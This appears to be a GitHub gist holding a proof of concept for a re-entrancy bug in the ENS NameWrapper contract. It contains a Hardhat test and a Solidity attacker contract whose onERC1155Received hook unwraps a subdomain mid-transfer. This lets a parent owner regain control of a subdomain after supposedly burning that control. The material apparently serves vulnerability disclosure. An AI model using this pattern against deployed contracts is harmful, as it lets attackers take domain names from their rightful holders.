-
-
Save panprog/3cd94e3fbb0c52410a4c6609e55b863e to your computer and use it in GitHub Desktop.
ENS NameWrapper re-entrancy bug PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const packet = require('dns-packet') | |
const fs = require('fs') | |
const { ethers } = require('hardhat') | |
const { utils, BigNumber: BN } = ethers | |
const { use, expect } = require('chai') | |
const { solidity } = require('ethereum-waffle') | |
const n = require('eth-ens-namehash') | |
const namehash = n.hash | |
const { shouldBehaveLikeERC1155 } = require('./ERC1155.behaviour') | |
const { shouldSupportInterfaces } = require('./SupportsInterface.behaviour') | |
const { ZERO_ADDRESS } = require('@openzeppelin/test-helpers/src/constants') | |
const { deploy } = require('../test-utils/contracts') | |
const { keccak256 } = require('ethers/lib/utils') | |
const { encode } = require('punycode') | |
const TestNameWrapperReentracy = artifacts.require("TestNameWrapperReentrancy"); | |
const abiCoder = new ethers.utils.AbiCoder() | |
use(solidity) | |
const labelhash = (label) => utils.keccak256(utils.toUtf8Bytes(label)) | |
const ROOT_NODE = | |
'0x0000000000000000000000000000000000000000000000000000000000000000' | |
const EMPTY_BYTES32 = | |
'0x0000000000000000000000000000000000000000000000000000000000000000' | |
const EMPTY_ADDRESS = '0x0000000000000000000000000000000000000000' | |
const DUMMY_ADDRESS = '0x0000000000000000000000000000000000000001' | |
function increaseTime(delay) { | |
return ethers.provider.send('evm_increaseTime', [delay]) | |
} | |
function mine() { | |
return ethers.provider.send('evm_mine') | |
} | |
function encodeName(name) { | |
return '0x' + packet.name.encode(name).toString('hex') | |
} | |
const CANNOT_UNWRAP = 1 | |
const CANNOT_BURN_FUSES = 2 | |
const CANNOT_TRANSFER = 4 | |
const CANNOT_SET_RESOLVER = 8 | |
const CANNOT_SET_TTL = 16 | |
const CANNOT_CREATE_SUBDOMAIN = 32 | |
const PARENT_CANNOT_CONTROL = 64 | |
const CAN_DO_EVERYTHING = 0 | |
//Enum for vulnerabilities | |
const ParentVulnerability = { | |
Safe: 0, | |
Registrant: 1, | |
Controller: 2, | |
Fuses: 3, | |
Expired: 4, | |
} | |
describe('Name Wrapper', () => { | |
let ENSRegistry | |
let ENSRegistry2 | |
let BaseRegistrar | |
let BaseRegistrar2 | |
let NameWrapper | |
let NameWrapper2 | |
let NameWrapperUpgraded | |
let MetaDataservice | |
let signers | |
let accounts | |
let account | |
let account2 | |
let result | |
let MAX_EXPIRY = 2n ** 64n - 1n | |
/* Utility funcs */ | |
async function registerSetupAndWrapName(label, account, fuses, expiry = 0) { | |
const tokenId = labelhash(label) | |
await BaseRegistrar.register(tokenId, account, 84600) | |
await BaseRegistrar.setApprovalForAll(NameWrapper.address, true) | |
await NameWrapper.wrapETH2LD(label, account, fuses, expiry, EMPTY_ADDRESS) | |
} | |
before(async () => { | |
signers = await ethers.getSigners() | |
account = await signers[0].getAddress() | |
account2 = await signers[1].getAddress() | |
EnsRegistry = await deploy('ENSRegistry') | |
EnsRegistry2 = EnsRegistry.connect(signers[1]) | |
BaseRegistrar = await deploy( | |
'BaseRegistrarImplementation', | |
EnsRegistry.address, | |
namehash('eth') | |
) | |
BaseRegistrar2 = BaseRegistrar.connect(signers[1]) | |
await BaseRegistrar.addController(account) | |
await BaseRegistrar.addController(account2) | |
MetaDataservice = await deploy( | |
'StaticMetadataService', | |
'https://ens.domains' | |
) | |
NameWrapper = await deploy( | |
'NameWrapper', | |
EnsRegistry.address, | |
BaseRegistrar.address, | |
MetaDataservice.address | |
) | |
NameWrapper2 = NameWrapper.connect(signers[1]) | |
NameWrapperUpgraded = await deploy( | |
'UpgradedNameWrapperMock', | |
NameWrapper.address, | |
EnsRegistry.address, | |
BaseRegistrar.address | |
) | |
// setup .eth | |
await EnsRegistry.setSubnodeOwner( | |
ROOT_NODE, | |
labelhash('eth'), | |
BaseRegistrar.address | |
) | |
// setup .xyz | |
await EnsRegistry.setSubnodeOwner(ROOT_NODE, labelhash('xyz'), account) | |
//make sure base registrar is owner of eth TLD | |
expect(await EnsRegistry.owner(namehash('eth'))).to.equal( | |
BaseRegistrar.address | |
) | |
}) | |
beforeEach(async () => { | |
result = await ethers.provider.send('evm_snapshot') | |
}) | |
afterEach(async () => { | |
await ethers.provider.send('evm_revert', [result]) | |
}) | |
describe('Reentrancy', () => { | |
it('Registers subdomain and wraps, changes subdomain owner, new owner onERC1155Received unwraps subdomain, upon return he owns both domain and ERC1155 token', async () => { | |
await BaseRegistrar.setApprovalForAll(NameWrapper.address, true) | |
await EnsRegistry.setApprovalForAll(NameWrapper.address, true) | |
await BaseRegistrar.register(labelhash('test'), account, 84600) | |
await NameWrapper.wrapETH2LD( | |
'test', | |
account, | |
CAN_DO_EVERYTHING, | |
MAX_EXPIRY, | |
EMPTY_ADDRESS | |
) | |
const testReentrancy = await deploy('TestNameWrapperReentrancy', account, NameWrapper.address, namehash('test.eth'), labelhash('sub')) | |
await NameWrapper.setApprovalForAll(testReentrancy.address, true) | |
// set self as sub.test.eth owner | |
await NameWrapper.setSubnodeOwner(namehash('test.eth'), 'sub', account, CAN_DO_EVERYTHING, MAX_EXPIRY) | |
// move owner to testReentrancy, which unwraps domain itself to account while keeping ERC1155 to testReentrancy | |
await NameWrapper.setSubnodeOwner(namehash('test.eth'), 'sub', testReentrancy.address, CAN_DO_EVERYTHING, MAX_EXPIRY) | |
// send ERC1155 back to owner | |
await testReentrancy.claimToOwner() | |
// now sub.test.eth is owned by account (NOT NameWrapper) | |
// but it also owns ERC1155 sub.test.eth token (which can't really control the subdomain) | |
expect(await EnsRegistry.owner(namehash('sub.test.eth'))).to.equal(account) | |
expect(await NameWrapper.ownerOf(namehash('sub.test.eth'))).to.equal(account) | |
// now we can do all kinds of malicious stuff | |
// for example, we send ERC1155 to account2, and burn PARENT_CANNOT_CONTROL | |
// (we can then show that transactions to burn CANNOT_UNWRAP fails) | |
// after that we can easily re-wrap the domain replacing the PARENT_CANNOT_CONTROL and changing ownership to account | |
await NameWrapper.safeTransferFrom(account, account2, namehash('sub.test.eth'), 1, '0x') | |
await NameWrapper.setChildFuses(namehash('test.eth'), labelhash('sub'), PARENT_CANNOT_CONTROL, MAX_EXPIRY) | |
expect(await NameWrapper.ownerOf(namehash('sub.test.eth'))).to.equal(account2) | |
// at this point account2 expects to have full control over the subdomain and that account can't regain control | |
// prove that account burnt the control by trying to set more fuses (which reverts) | |
await expect(NameWrapper.setChildFuses(namehash('test.eth'), labelhash('sub'), PARENT_CANNOT_CONTROL | CANNOT_UNWRAP, MAX_EXPIRY)) | |
.to.be.reverted | |
// after proving that, now re-wrap the domain to replace old fuses with new ones and regain ownership of subdomain | |
await NameWrapper.wrap(encodeName('sub.test.eth'), account, EMPTY_ADDRESS) | |
// account should be unable to change ownership of subdomain to itself after burning PARENT_CANNOT_CONTROL, | |
// but it did change ownership (account2 expect to still be the owner, but the owner is now account) | |
expect(await NameWrapper.ownerOf(namehash('sub.test.eth'))).to.equal(account2) | |
}) | |
}) | |
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.8.4; | |
import "../../contracts/wrapper/INameWrapper.sol"; | |
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; | |
import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; | |
contract TestNameWrapperReentrancy is ERC165, IERC1155Receiver | |
{ | |
INameWrapper nameWrapper; | |
address owner; | |
bytes32 parentNode; | |
bytes32 labelHash; | |
uint256 tokenId; | |
constructor( | |
address _owner, | |
INameWrapper _nameWrapper, | |
bytes32 _parentNode, | |
bytes32 _labelHash | |
) { | |
owner = _owner; | |
nameWrapper = _nameWrapper; | |
parentNode = _parentNode; | |
labelHash = _labelHash; | |
} | |
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { | |
return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId); | |
} | |
function onERC1155Received( | |
address _operator, | |
address _from, | |
uint256 _id, | |
uint256 _value, | |
bytes calldata _data | |
) public override returns (bytes4) { | |
tokenId = _id; | |
nameWrapper.unwrap(parentNode, labelHash, owner); | |
return this.onERC1155Received.selector; | |
} | |
function onERC1155BatchReceived( | |
address, | |
address, | |
uint256[] memory, | |
uint256[] memory, | |
bytes memory | |
) public virtual override returns (bytes4) { | |
return this.onERC1155BatchReceived.selector; | |
} | |
function claimToOwner() public { | |
nameWrapper.safeTransferFrom(address(this), owner, tokenId, 1, ""); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment